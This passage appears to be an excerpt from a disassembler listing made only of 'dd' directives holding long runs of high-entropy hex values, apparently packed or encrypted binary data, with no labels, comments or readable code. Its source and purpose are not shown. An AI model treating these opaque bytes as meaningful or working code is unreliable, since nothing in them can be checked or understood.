0EBA163A7h dd 0C82EF890h, 207E5789h, 2C1B3CE7h, 0E627865Ch, 97F7B908h dd 884741F5h, 20595BFAh, 359B5AD0h, 38017E25h, 6324E827h dd 245FE8DFh, 0D088D487h, 7D602FEFh, 4D95CC86h, 17B825FBh dd 1162A168h, 5CE2DA8Dh, 2978E96Ah, 704A1000h, 5C81B926h dd 0F02D4A0Dh, 4C612914h, 5358595Eh, 13B2A740h, 1E665C8Dh dd 38D1F5Fh, 12444FEh, 85EF80C0h, 370F7E6h, 58F2F86Bh dd 4CB2B7FBh, 0B260815Eh, 9DAF620h, 2D57870Fh, 0C27E84A9h dd 3E8C005h, 398369C1h, 0A041A84h, 955CFF88h, 445AEBC9h dd 4F587232h, 0DD4A4511h, 13A3F2A5h, 31E9F768h, 801C282Ch dd 0B35BDE88h, 514A6695h, 0D92A63CDh, 3B84784Bh, 18B83150h dd 402F90E9h, 2A1DEA75h, 893EDE27h, 0C27BA5D0h, 9641D9CDh dd 57200555h, 22C6870Fh, 0C594CBC8h, 9798544Ch, 0C8C26545h dd 1F1053A9h, 6C135E12h, 3E5664E6h, 0D0CC445Bh, 4A64AE62h dd 0D59F99A8h, 53488D50h, 0F1DDF03h, 83FD293Fh, 0BA05C333h dd 76942E9Eh, 75845CE9h, 0C99EBD73h, 68CC215Ch, 326E41EEh dd 45CBE753h, 885581E9h, 3ABCD85h, 5D575A5Fh, 4EC9F558h dd 97313F68h, 2544ED08h, 6804D994h, 64AD0680h, 92C7D6B4h dd 0F598BDCFh, 5B13832Dh, 790F0AE7h, 20DA03CCh, 8C68B101h dd 60C1DECAh, 61BF6508h, 56569BB0h, 0C1896849h, 56111252h dd 0D5994254h, 0A8570009h, 0F64E4A78h, 0C849D26h, 34C7C24Fh dd 445131B1h, 1022AB2Eh, 1D55883h, 60358EBBh, 0F0DF2115h dd 109DADE1h, 74CCB8CAh, 29F60BFAh, 0B0158C7h, 7B8C0A13h dd 6B220C0h, 573B3FD4h, 0D3AE5F28h, 98510463h, 8AE31719h dd 9AFB5769h, 0C2C3E984h, 9517488h, 314B86CBh, 0D16251A6h dd 0D5B5F701h, 0FA292E67h, 126F8731h, 40D52D74h, 670A68F9h dd 43087227h, 0AD04A44Ch, 0D8F7075Eh, 68DD8482h, 9621E9CAh dd 45164073h, 1A97460Ch, 1B2FF4DFh, 53B50631h, 899BAC69h dd 0E35F264h, 150B75EBh, 0C0F32964h, 2638F775h, 0E705167Eh dd 76B4CE2h, 0A93AE2C7h, 864D8D03h, 0F0C096Ah, 250270EBh dd 7F5FFBh, 18396737h, 0B8B254Fh, 0F4F3A184h, 3B1D05E9h dd 2D81464Ah, 61DD0227h, 75FC462Ah, 0C13D9368h, 0F539024Ch dd 0D059CE29h, 3134EA0h, 1EF72D32h, 0C58977F0h, 0AACEC94h dd 0E99EB8AFh, 0D9C19540h, 91E1695Ch, 0A4631283h, 1201D44Eh dd 88C6DAA8h, 6BEC390Eh, 0EE9B5765h, 955D82A4h, 0E98A81C5h dd 0CCA5CD14h, 9370D4DFh, 0D93FA4E4h, 59166A60h, 0F2D5F75Dh dd 0C9F159D1h, 73A6323Bh, 0F016BE3Fh, 0C121E4A2h, 38813918h dd 0FC474D8Ah, 0D6F70909h, 0C5AAA8E9h, 35CE0F82h, 0F4895E0h dd 3D4E0389h, 48065A5h, 4EFFEE83h, 5A5FDA8Bh, 0C509DB0Ah dd 9D8B559Dh, 268A5A51h, 834B5067h, 0CF8797C8h, 4EDA6D3h dd 0D905E810h, 0EFAA0925h, 49BF0EE8h, 2DD82914h, 2EFD4207h dd 2A78207h, 5F6F7FBEh dd 54B0CA1Ch, 6CD5B041h, 0CB218450h, 0DB0B2C59h, 66300996h dd 0A83C41C8h, 4E823C9h, 0D0B832DAh, 0E3FD01B3h, 85E90904h dd 97352FDh, 0A092FC2Ah, 0ED81C3DEh, 70F14E66h, 0C189D13Fh dd 2E4BBC02h, 3582797Eh, 40DD0156h, 0B32FE2FCh, 27F724FCh dd 17FE6714h, 6A215581h, 0C1DDABE0h, 61B96684h, 0CE01D0C3h dd 29120195h, 88B5EF2h, 0CE085AD0h, 68834F2Eh, 5FE25743h dd 4C0F6776h, 0F3816119h, 9F0617Fh, 745B7DDFh, 0E718C3F7h dd 0A1431CEh, 2DFA70C7h, 0BE7385D4h, 0F719A9E2h, 51B1A85Eh dd 891232C0h, 76204F1Bh, 0E3898F34h, 0F90977C5h, 8EF4DEC6h dd 0F866CFFh, 0E0C8BF2Ch, 76945939h, 0F9B27A27h, 0A16E43F6h dd 292D1603h, 0A11B8C55h, 0E16258C3h, 0AE1A027Fh, 553F681Dh dd 1E4F51D6h, 0F3414DCFh, 2CBBD509h, 58C1DA3Ah, 0A2EF3E7h dd 0C380853Ch, 0B58DC2A9h, 50EBDC61h, 6E0768BEh, 52ADE916h dd 862446ADh, 0DEF60D1Fh, 640CFD0Bh, 56005971h, 26DCB850h dd 23529EDh, 3C0B0151h, 0F161E8D1h, 257D248Bh, 6F22DF09h dd 0C1A9090Ch, 383A5D9Dh, 99B92C40h, 42B07BA5h, 0E7D6E0E9h dd 0F876EC25h, 0BA545870h, 0CD9698A5h, 0F9ED2054h, 180CD6A0h dd 412E7B2Fh, 0F205A86Dh, 3B668288h, 0A09F02C8h, 4A5DD109h dd 3141002h, 836421BDh, 7EB40435h, 804ABF40h, 4110D0B0h dd 0F4E91B13h, 0FE440B25h, 8003F28Fh, 0C598B4EDh, 0EB272808h dd 51B6E059h, 0F4B62752h, 0AF02AD62h, 0C409F73Eh, 0BFB124C2h dd 0E5828B60h, 534A0FE6h, 54C9C0A7h, 5D5AB77Ch, 482AACB8h dd 0F3F9428Ah, 7E0211A6h, 59E9EA0Bh, 0F7D498C5h, 570BD2D1h dd 9078F744h, 0B99F404Ah, 99210617h, 8769ED09h, 0EA37160Fh dd 5F0854EEh, 4AE97228h, 0EEEAB4A0h, 79A14316h, 9F55EC2h dd 0E660C4D9h, 96F4632Bh, 0B8170C4Ch, 0C09F641h, 80210A42h dd 0CF8B5EE1h, 44294E5Ah, 0EF54B3A7h, 0D9314121h, 1822FD31h dd 6DE95605h, 10C5E467h, 942778B4h, 0AEB8098Fh, 0E005536Fh dd 0C1D8A4A5h, 8B457B0Eh, 0AEC9C021h, 7D256F57h, 6440B2E9h dd 0F0C36852h, 0E3296834h, 45A1D164h, 0D32C7128h, 166D395Ah dd 102FCB3Eh, 9486574h, 3762A01Dh, 8B95DEA3h, 2C4E1C77h dd 7AC81F77h, 5F875C62h, 925892DFh, 2C8553E1h, 0C0491299h dd 80A1B6D2h, 2E0EEE58h, 0B22422F0h, 0D7A54E62h, 5E515320h dd 95A4791h, 0FB6BDF81h, 0A515702h, 770F8CA7h, 9606935Ah dd 0E1A0CD54h, 0A0462CC7h, 0A62DC368h, 1E92DC7h, 0EC803301h dd 5C4CCFEh, 81DCCDF7h, 3F76BF7Fh, 0CBEC3D33h, 0BA3CC943h dd 0F0D38319h, 6BC04BBEh, 9349ACF6h, 604EBA29h, 649D14DEh dd 0B7B0064Ah, 2963DD5Eh, 0A9D07AB8h, 2520578Ah, 4968B538h dd 5C370FC6h, 0CB65EC88h, 2F144783h, 174B31B6h, 1CD61FBAh dd 49004024h, 7C29509Eh, 30C59824h, 0C59D0378h, 0A63D31E4h dd 0C63E9953h, 30E5EDF7h, 602B2F70h, 0EC777E1h, 681F6E06h dd 16CDF01h, 0A130C72Dh, 20551DB7h, 6F4F5876h, 0F9BD5509h dd 0A809A661h, 0D2169656h, 0CD0F27D7h, 6031395Ch, 0CEC997D1h dd 193E8D30h, 86053CC1h, 5F3B52E1h, 8B0EF20Ch, 14F271F2h dd 2A0DF504h, 0CCC04CAFh, 12E84233h, 84B2E94Dh, 9D30AE21h dd 2E44C2BBh, 3442B7h, 200C4FBAh, 0E64EFEE9h, 6038638Ch dd 6BEB5FEDh, 9F4B073Ah, 0B293FAA4h, 1D7E02Eh, 2CB4505Ah dd 0F934C780h, 68066457h, 1925C827h, 29653BB5h, 6053443Bh dd 559059Dh, 56F04BBAh, 0CBA96BA9h, 39C59A84h, 622D3B3Dh dd 69B8D3E3h, 474F828h, 0C45FD6F6h, 29A43235h, 0B7E5D2F4h dd 30131377h, 12AD6FB4h, 815D2669h, 6BB0A5B0h, 0BC3F4BD3h dd 247D9AADh, 43052173h, 0F519DBF2h, 4E553741h, 0D84C176Bh dd 9C6BE6FCh, 0C7105F5h, 63C497BCh, 4EDCE236h, 0E9860FE2h dd 0BB035541h, 0CCA4DDADh, 0C904A501h, 13A37Ch, 326EC272h dd 0CAFE5451h, 8836BB8h, 6EC0964Fh, 7909665Ah, 0EE84ACEh dd 0BDB2C17Bh, 0BB538054h, 0C0B5936h, 5BD8216Ah, 0B727EE12h dd 0EC1209FCh, 0E539F306h, 0C9740224h, 0C091C4CCh, 0E49C6089h dd 58542509h, 0F1AD02DBh, 0EDE942A5h, 2D00E3D8h, 326107F6h dd 945BE56h, 464F6667h, 7F772180h, 4B985083h, 1C5C3971h dd 80202769h, 0EDB205B7h, 364F5840h, 0F3295805h, 0A59C015Eh dd 8011680Ch, 0F0350B0Ch, 9492E940h, 30E02740h, 5ABC1487h dd 0C9838F49h, 34BBA255h, 953EC66Dh, 1D1B15C0h, 2841BE80h dd 99944A28h, 0E00B0AB7h, 5360A581h, 2D2057D0h, 0A8340966h dd 7CF499D2h, 0B504680Fh, 80225B2Eh, 466029F1h, 58809EF6h dd 0B0C9845h, 201C0982h, 0E9254F50h, 31B5E0B5h, 4B9098F0h dd 2CB68A0Ah, 0C9A58C36h, 0B95550E0h, 41FE97F0h, 35513163h dd 0AA8A2E74h, 8A40A24Bh, 15ACE95Ch, 7414555Ah, 0C5B78B7Ch dd 555469D5h, 20391239h, 109C4E6h, 0F5F95BD9h, 45EE38B5h dd 0BEDFE976h, 307F4C29h, 6928052Ch, 296BC305h, 7152DF0h dd 795E2D78h, 0E6044983h, 2E510969h, 0DCEA6911h, 0A80E4D2Fh dd 0C729FD19h, 1BC4E64Bh, 12B71FD1h, 30E46731h, 13E8BD29h dd 6599C8BEh, 0BDC83112h, 47B441E1h, 0E241F446h, 9FFF49F2h dd 289AA88Dh, 1BFCD1FAh, 2CB159Eh, 0F5C97BBh, 0A506269h dd 4041592Fh, 1FC90675h, 720129Eh, 3D10574Ch, 2E8E8334h dd 0D55BDF89h, 0C072C2h, 1D24DD05h, 0F2D3D02h, 0E2612844h dd 40909342h, 5BACA65Fh, 0C84C909Fh, 455DB768h, 0A9438CEAh dd 4872C159h, 0F0399C1Ch, 57AC6B45h, 0CC1F7ECh, 0FE01FB7Dh dd 0F917807Ah, 0F95D578h, 0D50D9A81h, 23F1E089h, 53F149E9h dd 17948B2Fh, 5BAC289Ch, 43E35EA2h, 2FC4349Ah, 0D449700Fh dd 2CDE6916h, 795A0DCh, 897DBB6Ah, 2E69D2FDh, 32F5C0E8h dd 747C962Ch, 29122A10h, 4C11CAEBh, 8B9E2F4Fh, 3EF74CA1h dd 0DA4A3A68h, 9B53246Ah, 0F4F4DAC4h, 5EE44015h, 5A4AD3F6h dd 0BACAE48Eh, 0EDEB9612h, 0ABE91348h, 0B24A1EACh, 0F9B6C0EEh dd 3980CEFEh, 0F68501E6h, 0EFF328CCh, 25ED8E10h, 0A460D30Eh dd 8EB713Ch, 9D34AE9h, 44445D7Ah, 7F82C5ECh, 0A882B905h dd 0B6D340F5h, 56C2899Fh, 12875163h, 263BD6ACh, 4B897A53h dd 4A5AB4C0h, 0D83D8497h, 0A95FAC13h, 353EE335h, 0A4E4808Ch dd 3B7FD321h, 232C29Dh, 0EA06E908h, 0B8CE170h, 1133A28h dd 885125F5h, 84D6538h, 22BD7D20h, 98A42Bh, 5AF2D5Ah, 172B40Eh dd 6407B4F8h, 5100A054h, 0ED800CB5h, 880F2C04h, 58E93871h dd 0B0066333h, 99678DE0h, 0FE0430C2h, 0C2B8F45Dh, 0B0001C08h dd 58E0C0E1h, 5E254403h, 0C8ADD471h, 5423682Bh, 7A550D6Fh dd 6E840551h, 0BF593354h, 80A7F549h, 8F0F243Ch, 8C75B4D2h dd 9A75174Dh, 0F3BEAA54h, 0CEAB560Fh, 29486982h, 0C856B4BAh dd 311EA8F8h, 4A7695FBh, 5BEB54F4h, 502513B3h, 207190D3h dd 0BA00D169h, 0F16035B7h, 2C68992Dh, 149403E1h, 5A090705h dd 6034C289h, 990C8369h, 0ACB9C299h, 0CA220880h, 28BDE94Ah dd 0C1EE139Dh, 0C92BCD42h, 344AE0A8h, 6F66669Dh, 1785508Fh dd 0EE35D3B9h, 27DF28BAh, 16E2CBC4h, 46A17CD8h, 3A4166D3h dd 0D42129Eh, 4167D473h, 2D188020h, 104E04C4h, 0F6C73106h dd 59AF46D2h, 0BF570022h, 2F5518B9h, 9CE78102h, 0E1734170h dd 1C7969C5h, 4DBFCCDEh, 9764530Bh, 23AE6648h, 151349C4h dd 1802E1BDh dd 546C3157h, 82F6493Eh, 0C9A8E012h, 32A2BFA2h, 68076782h dd 86161109h, 5F31BB64h, 0D4012454h, 0C340A3F2h, 254719E9h dd 1B40590Ah, 199D698Bh, 0A1340AB2h, 58522450h, 0D9F00B6h dd 0A5053307h, 0DC4F4D3Ah, 6AC8034Bh, 0B40126F6h, 80E6D84h dd 0F53CC558h, 3F845BBh, 0B10606B7h, 0AD4E870Fh, 0A6E6E116h dd 12E864h, 968C0F4Eh, 0EEC3C03Eh, 0E8850BF0h, 5EF1890Eh dd 0E12129C6h, 63A4B454h, 1165023Eh, 8C21ACAh, 3500B4F5h dd 0BF32CFA0h, 7D3621Fh, 124E9310h, 81DD627Eh, 0CB52607Eh dd 272DE959h, 816FDB38h, 0FF23F0BDh, 1C5EC70h, 0B0F94B9Dh dd 5E7A7B97h, 2048F334h, 3344E72Ch, 0D8E90E44h, 0B77864E1h dd 0CDC0EC16h, 43AD3026h, 0C4E1C180h, 1FD197D4h, 0D63A8C4Bh dd 39C46FE9h, 6B05895Ch, 685E8741h, 4569278Dh, 8E2B61D2h dd 0C6398E65h, 8D8C42CFh, 0CA1F6289h, 75C6093h, 51252F1Fh dd 804006Ah, 0AB62C05Fh, 3A12DA24h, 34432CE9h, 0BEEF8B0Fh dd 0E2674963h, 0F6C9FE00h, 5D5153D1h, 76CF58C1h, 0F62402AAh dd 0F4AF4141h, 33028CCAh, 890F73EAh, 0BE2A5E69h, 2355D600h dd 0FAD9E91Bh, 0B4582EC1h, 867E5CB3h, 224061Fh, 0B502EA4Fh dd 0E017CA6Fh, 252CB907h, 155411CCh, 89BDC822h, 27AAB441h dd 0F6F8015Ch, 17C5D3Ah, 27742D48h, 0C8F416A3h, 0E907A105h dd 906AF7C5h, 798FEE54h, 295AB20Ah, 820ABCEh, 8761E92Ch dd 3D5C59AFh, 0F7CFF218h, 84046FF1h, 0BD55108Ch, 29AF49FFh dd 3C248B8Dh, 0BF53C4ADh, 5F64AFh, 3FC9C1C6h, 11233D7h dd 0C4C56F9h, 7CEF61ADh, 547C3FCAh, 21DACFB4h, 2FD7E908h dd 84AC2D0Bh, 0B996DC3Ah, 0BA3A4CB8h, 2A02D78Bh, 0DE7944FDh dd 2543E1A5h, 0E2FDDF5h, 7A8E80CCh, 0FEF1F361h, 0C5EBE0C3h dd 5EA81A1h, 82E765BFh, 0E92224F5h, 0BDE9683Dh, 693E133Bh dd 14208146h, 0F5042416h, 0FA7F0916h, 0D985B205h, 0C50261F9h dd 8825B96h, 0EAB286FDh, 0EFB62D6Fh, 0E941337Bh, 44282699h dd 5C29558Fh, 0F70D78E0h, 17A75B05h, 36BACD68h, 672F26BBh dd 0AE46F337h, 32E961D2h, 38BF64DFh, 5D881C16h, 81013EECh dd 9737D0C9h, 0E1C7A36h, 2481BE92h, 0EBC9E3D1h, 15A10320h dd 816B7973h, 57B5DD16h, 9B44C195h, 0E2302F67h, 3CEE4E74h dd 384C8B2Eh, 0C0E829B2h, 8800E681h, 0F1F7B60h, 0B6F54B82h dd 0C1950B5h, 58C237C5h, 55AF4C0h, 0B6541E72h, 0DBE81432h dd 13F40841h, 44C92D4Ch, 68509158h, 2225E908h, 0B2CB3427h dd 12930BB2h, 0D5633D0h, 0AA2E1D8Fh, 801087Bh, 13F091Bh dd 115D96Ah, 4057550Ch, 5A8F1280h, 5E95F12h, 3EDB0h, 57533862h dd 26736850h, 583B0A00h, 0AC161335h, 64E9250Dh, 985793C2h dd 3BCE8124h, 0C46F0697h, 0BA013AE8h, 69C54D65h, 16CE6030h dd 0E577663Fh, 160804C0h, 5ED203F0h, 2A064F0Eh, 23B06384h dd 7E97000Ch, 0C3013C24h, 8AABA52h, 4AB4C0E5h, 8CB21F56h dd 844E3390h, 0A4C1C13Fh, 28AC2957h, 0F05B8532h, 23969740h dd 945A026Ah, 0CCC3C0E9h, 1561A23Dh, 136AE986h, 0D54763Bh dd 89EF8727h, 426CBB1Eh, 0E9091718h, 65EEAF09h, 0D1215D15h dd 0A8B6D973h, 0AAF0252Fh, 34D73921h, 30CA2901h, 4B13C1D6h dd 0B0B86A76h, 0A431ED0Eh, 25D8F7A0h, 780C06ECh, 59CEE919h dd 2CAD7F05h, 27954D7Ah, 8CA0DD15h, 8F4AF93Dh, 0C3D2F778h dd 0B32B27E2h, 0C1DAC263h, 0CCE08443h, 690CE1Dh, 620A120Bh dd 548718ECh, 232B685Ch, 6F00D479h, 0E95DDA6Ah, 4C17B2C6h dd 1A105F4Dh, 5F23583Eh, 5EE2890Bh, 558A85D0h, 82DAE39Ch dd 0B22B3E9h, 34AA9749h, 0E230C1D9h, 3CA89C04h, 25397EF8h dd 0F0D1435Dh, 80685684h, 5554BAD2h, 0E9253FB4h, 4C4C8B4Fh dd 52349C2Eh, 89252F73h, 58BE5EE5h, 19557AE9h, 0F364D4CEh dd 0C1292B05h, 0A4818158h, 103A4A7Bh, 841CB21h, 6A7A0C80h dd 7CE9354Bh, 31171996h, 0F2A0D317h, 2DE80F29h, 74293CE0h dd 1A7D4D32h, 1F896054h, 83DE82D4h, 765BDDC2h, 58E90972h dd 42FDE842h, 1F83DCA3h, 2B602FC0h, 0F18853B0h, 7087813Fh dd 0AB40C060h, 6489F5Fh, 56174214h, 38E9593Fh, 0A0E1F784h dd 0BBAC57E2h, 8F996BF3h, 686BC06Ah, 0D1957B8Eh, 0ED81622Ch dd 7FA6DC76h, 3E34C400h, 0D0D5291Fh, 0E912081Ch, 0B635840Bh dd 0E2F53112h, 0D18959FEh, 5F54A298h, 16792C4Ch, 1770B7Bh dd 0F4848B71h, 0B0053A88h, 31BA2CFEh, 814CCCF8h, 2058C595h dd 0D560506Ch, 0C935127Dh, 72FABC2Ch, 54812D65h, 76662DC2h dd 0F53E3D74h, 0B5515801h, 0C8A72C9Ah, 0E84B2822h, 1D6E9FC7h dd 0B7530EA0h, 0E945F6D7h, 0F8F0945Fh, 7231A824h, 8C768F8h dd 0B45F15BAh, 0E9D0F781h, 3EFFAA13h, 20923F0h, 0D15A1A91h dd 9DF1A8D0h, 96C1FA1Ah, 0C4FD7CE8h, 18B3515Ch, 355024h dd 11D92B80h, 0E01307B8h, 5EFC3DD4h, 30CE982h, 0AD3D25E5h dd 0EC0D5920h, 0C825E961h, 62A654E1h, 7371EF89h, 83CB810Eh dd 0F230946Ch, 74356A0Ah, 0AF83711Fh, 2D8B160Ch, 0B58093E9h dd 9B2E6DBAh, 1F6F4A48h, 47532BF2h, 11A09101h, 0D9F34CC1h dd 893067B6h, 5AB90751h, 0C02C8217h, 0A72965F1h, 0D9F70C13h dd 6A5995E1h, 817A12E9h, 7D513EEh, 0E82CC6D5h, 1DF05B31h dd 2406105Eh, 638CA35Ch, 9BF4E27h, 0EB76D89Fh, 9EA4045Fh dd 1EDADF4h, 3597C875h, 945DEE89h, 81BC4F44h, 1A1F583Ch dd 6328DCEDh, 26616807h, 1249CF17h, 0D3881BA2h, 0C01286F4h dd 0C2ECC7C4h, 6C13B0D3h, 0C2162248h, 7E77FF5Ch, 6859821Ah dd 0F1A2407Ch, 730A4701h, 0D1F65631h, 7520CBD1h, 10C33380h dd 0D8F3501Ah, 0FEAD81E4h, 60EBDDCDh, 0B1B632ECh, 699427BDh dd 6130D439h, 0E9F18AD0h, 0D1570E12h, 0B493FBE8h, 0F2441156h dd 6E3639C6h, 90F8552Dh, 458A260Fh, 0D1C9A01h, 14051C08h dd 79C0E916h, 5B37800Fh, 85C9B3CDh, 68FD54C7h, 194B588Eh dd 0A7343672h, 0B0F93A8Eh, 25C7B796h, 4274D957h, 0E3A280E9h dd 0A4CBD5F7h, 720AABD1h, 0E459341Ch, 9E769BB8h, 0DA766996h dd 0B2788552h, 292A31B1h, 937CFEEBh, 527469h, 484C740Ch dd 2A029D0Dh, 0E0E94A31h, 5867A4F9h, 0AFD236E2h, 5C317332h dd 37D83F48h, 2C2CD81Dh, 8BCE3FD6h, 436809E2h, 0A769D161h dd 0C72FB164h, 0B539C658h, 0DC59FA40h, 0E1910F82h, 656843EBh dd 0B46551A8h, 0B27B2D53h, 90B9608h, 0F885C580h, 0F549C1CDh dd 0BF805E3h, 0ABC2659Eh, 53240BFCh, 0EAAA9F03h, 0B3DDF1DCh dd 0EEFBD564h, 1A3B587Dh, 692952CFh, 2C389050h, 0A7F03CDCh dd 0B8D280BEh, 255A5B6Ch, 0FFD80971h, 53232625h, 84D29089h dd 57008D87h, 0B85E82BFh, 50C0A94Ah, 6C2EB81h, 15B5462h dd 881A2CBh, 65C07E59h, 993941E9h, 4D170005h, 890F0CF8h dd 7A91206Ah, 7D1BBE3Eh, 0B5F7019Fh, 0F22B5B28h, 42F9933Dh dd 0B41EFDAh, 0E530011Ch, 0BD280D48h, 0BD685D22h, 0E91F985Dh dd 9D5C4A73h, 463FA1Bh, 44B7E5C8h, 0EE4DD926h, 8A16BF34h dd 0C8F64C0Bh, 2775F526h, 5C605085h, 53BEAC1h, 33BE58F7h dd 13D95129h, 106E11Ah, 2771FAD4h, 0FCF16A2Eh, 99E34981h dd 4175A15Eh, 47420CA7h, 0BAEFC5DCh, 54F0A752h, 32CE4F4Ch dd 0F1F88954h, 0BC9DC79Fh, 1F26C3ACh, 23BD4DDCh, 441CD00Ch dd 0C201711Fh, 851B9h, 0A2207EDh, 0CF0F187Ch, 796D37h dd 0E901EF83h dd 9CF75EADh, 451DBB0Ah, 9998F06h, 5EFEE9E6h, 0C32C0E47h dd 0C110D34Bh, 0D8824818h, 2EFB9557h, 0A45A79C9h, 4FF20102h dd 2F297C96h, 2EC1DA94h, 0DC3F15C7h, 43BD6666h, 0D38C9216h dd 73CB2DF6h, 747839F2h, 2EE75C4Ch, 0F41D80CBh, 853CED9Dh dd 0D5F681E5h, 38BA84C3h, 0FD244A16h, 93D24D3h, 16536003h dd 12E45BADh, 824894CAh, 0D820920Ch, 978EC2Dh, 0C3094968h dd 0D3F33101h, 3A56F979h, 8CBA38C4h, 0D15FE9CCh, 0C6BE640Bh dd 780A0243h, 0F501730Eh, 801B9C2h, 2A5B7AE9h, 0B24A75CAh dd 0D2AE4925h, 94A8A08h, 63E477B6h, 0DAFD2841h, 4AE4063Bh dd 0F27BEC42h, 0C64F730h, 5CE76545h, 12004D61h, 5502283Dh dd 11096FBDh, 24D220Ch, 0D656539Ah, 0B008494Bh, 845C926Eh dd 4AFDB8F2h, 0F14F498Bh, 868A6A40h, 1A8DE909h, 0C71E4452h dd 0AF92EE30h, 0CA8729C1h, 2D21D3Fh, 5A595251h, 0CE26BA40h dd 5EFC6D25h, 0D55A2FE1h, 9B2ACC20h, 0BA528079h, 6DE63EC4h dd 1702B8B8h, 0E9266C10h, 686248E3h, 47F1953Dh, 5CCCB089h dd 2391149h, 0E906EDC0h, 0BA95579h, 0D1265870h, 71ACD88Bh dd 965308h, 5C1DF781h, 0E09F44B5h, 18EA015Eh, 3F91CBE9h dd 31250EE8h, 897C6FC8h, 0A9542BB3h, 5E123F62h, 8AA150F3h dd 0F2F379C7h, 683BE0D2h, 0B8CF3153h, 488B465h, 0EF2AAA68h dd 11E11371h, 0BB80B162h, 20C14D4h, 0DD054CDh, 55225A21h dd 0A8D8E012h, 0F2F8D30Fh, 200914D2h, 74184609h, 59B5835Dh dd 0E908C064h, 3BDC61B1h, 0D07BA1BEh, 5EEEF221h, 0D27E3AFCh dd 0A6CE6FFFh, 0ADE1A92Eh, 9D9489Bh, 2A646BF1h, 0A451AA0Fh dd 2200AD4h, 6F7BB5FEh, 35C01C5Bh, 25880F47h, 6F5A4ECBh dd 0D09BE069h, 685117D2h, 9383505Ch, 866B5620h, 0BED1541Ch dd 0A625352Ch, 980E0824h, 66ADC196h, 0FA90D662h, 0D1F3BF00h dd 290D2464h, 26C22DE4h, 798D5C86h, 282DFDB0h, 52C79F0h dd 83896664h, 0E9A6AEB9h, 0EDD34C4h, 0CCB1DF4h, 2590270Ch dd 5B0103EAh, 8D0F75ADh, 493E9628h, 4678A67Ah, 3E0C100h dd 70B10C2Dh, 17C89DB0h, 0EDDD244Ch, 0E3B1E858h, 209D585Ch dd 25B3EF00h, 0FB89BA47h, 6A016BFh, 152A2EE3h, 0D9010C61h dd 0F515469h, 38D35582h, 0E00BC325h, 97E1BFF3h, 36D86E21h dd 0B4862AE9h, 5E82B586h, 2E7AE6ADh, 0D6892D25h, 25266A17h dd 1BBE0D00h, 3E4C8A78h, 5AF41C3Ah, 45E93382h, 0C213CAD7h dd 6968544Eh, 0E989C9CFh, 0B5307847h, 477A38Eh, 92B3DB7h dd 20B3D066h, 0AC0788E4h, 0C01EB151h, 893B07A7h, 3A20000Eh dd 795BF908h, 0B01B7380h, 506D29Ch, 89388757h, 2B25F837h dd 0E1814700h, 1709417Dh, 3B96B049h, 78D011Ch, 96C6C131h dd 411C8095h, 0F25CFA18h, 6070FCAFh, 72BB1C9Bh, 207AEE5Eh dd 0C715CF6Ah, 734B2101h, 86704570h, 0C72F187Fh, 0B440C2Bh dd 0F7211E09h, 83D600DDh, 0BDA8DA9Ch, 0D331CF60h, 70FD5A7Fh dd 0E50BCDDFh, 0E072D62h, 6F5E2E57h, 82B0F60Fh, 0B54B9289h dd 1F8F46Ch, 0AD8E86B5h, 2D130E8Ah, 0C46135DBh, 0E0169E38h dd 82275F08h, 4E187018h, 0FD781614h, 0A3F2B4CCh, 0B2498CD4h dd 0D6F2893Ah, 2D068AC0h, 0A1C96421h, 5025D38Dh, 2F38CA3Bh dd 276ECC5Ch, 20F95DEEh, 89C68180h, 0B049413Dh, 0A2EEF0FAh dd 0CBA97C08h, 0E49756DAh, 80C67A8Ah, 5F4AFE31h, 598B32A2h dd 31440779h, 0D3A8CFB0h, 0B85AA43Dh, 5A4BD3BAh, 57109EECh dd 48735892h, 0E5502E19h, 0D5E8A417h, 244578Bh, 5C843C43h dd 6D34E9FEh, 0F32E3C0Ch, 0A905C088h, 9D03376Eh, 0A0AC5FE2h dd 85A03551h, 16F41DF8h, 7428D0B6h, 4C2A7C1Bh, 15ADB0FAh dd 1B7F4829h, 3219D0Bh, 0AA278AD8h, 0DA733B95h, 0ABBBCBA7h dd 5652452h, 24B24E20h, 81D7B42Ah, 0A7CD534Eh, 0AAB02430h dd 17D40BDh, 4B11F4C8h, 8471F2B9h, 2C4B4CB6h, 55A8E365h dd 3DC9F05Fh, 1FBA0E40h, 430102B4h, 324A850Fh, 310942C4h dd 6186D3E6h, 0F530562Eh, 0BB4D2BE9h, 0B21123Dh, 475066F7h dd 0F781B885h, 7ADF68E1h, 0C1920A68h, 5162E97Ch, 0F0D568D6h dd 5D761A42h, 6ACC054Bh, 5429F45Ah, 5BA68854h, 55DE2E5h dd 35136841h, 12C32AFCh, 0AA8D725Bh, 0D8F60B2Dh, 0CAB80CE4h dd 0A1BA179Ch, 9225596Ch, 0AA8BB5ACh, 5EB7ED4h, 712D0BFEh dd 822AE72Fh, 0D59A26E9h, 0A1FA45A5h, 54C83008h, 13B2C85Dh dd 0A90108E7h, 84F303C7h, 0BD6F6420h, 0CA5A9DC9h, 45FC63A9h dd 3CA25D72h, 0A5710E54h, 169C6804h, 0C6C079ECh, 31729033h dd 560A47D3h, 189C3A3h, 751A57F8h, 0D6FA048Bh, 91078898h dd 165E262h, 3737C06Bh, 4FE9E49Dh, 0E0AB137Fh, 3BB624BCh dd 59AAF64Bh, 6D38C5E9h, 64E8A558h, 721D57B3h, 7B076EDEh dd 7502E2BFh, 0E4F15096h, 5F9690D7h, 4C9CF717h, 622620BCh dd 0AF2C7831h, 3E63F6Ah, 0EE85C3FBh, 3C7EB42Dh, 3425E946h dd 85B0A9F6h, 55A135D9h, 8AF4706Ah, 6D0004D2h, 0D725EA81h dd 4A5203E5h, 8A31B45Eh, 2E20C141h, 710558ABh, 476F7660h dd 0EAB20CD3h, 0B575CB97h, 39FE4F94h, 70FE2943h, 822960B6h dd 12E0DC69h, 4329FA85h, 0CE130h, 2518C975h, 1A885C58h dd 2DD0F700h, 0DC47A34Dh, 0E9C61631h, 852A5193h, 0E9EB284Fh dd 0B7481D20h, 0E6971DEEh, 0E057985Ah, 69B2D47h, 38803BE2h dd 10B20A57h, 8A0E79Eh, 250513Fh, 0AB4D4EBFh, 8600D53Eh dd 54A78BB9h, 34815E4Ah, 0C03AD1F7h, 16144540h, 0B0D12EEDh dd 0C52F097Ah, 5F20BFFCh, 288D0F40h, 160702B0h, 0C1A77F81h dd 50468C79h, 180454E9h, 80623067h, 0B652A430h, 21E912AAh dd 51DBE2D1h, 3719E81Eh, 0B8C18380h, 40334BBCh, 285DC679h dd 312C9CFDh, 0D75A99F5h, 0C201AE02h, 54A722D1h, 5FFAC299h dd 0C5A2FEC5h, 0B0C1845Fh, 0BE0283EFh, 913E53C0h, 6F368EB7h dd 995FEDDh, 0F4F201FEh, 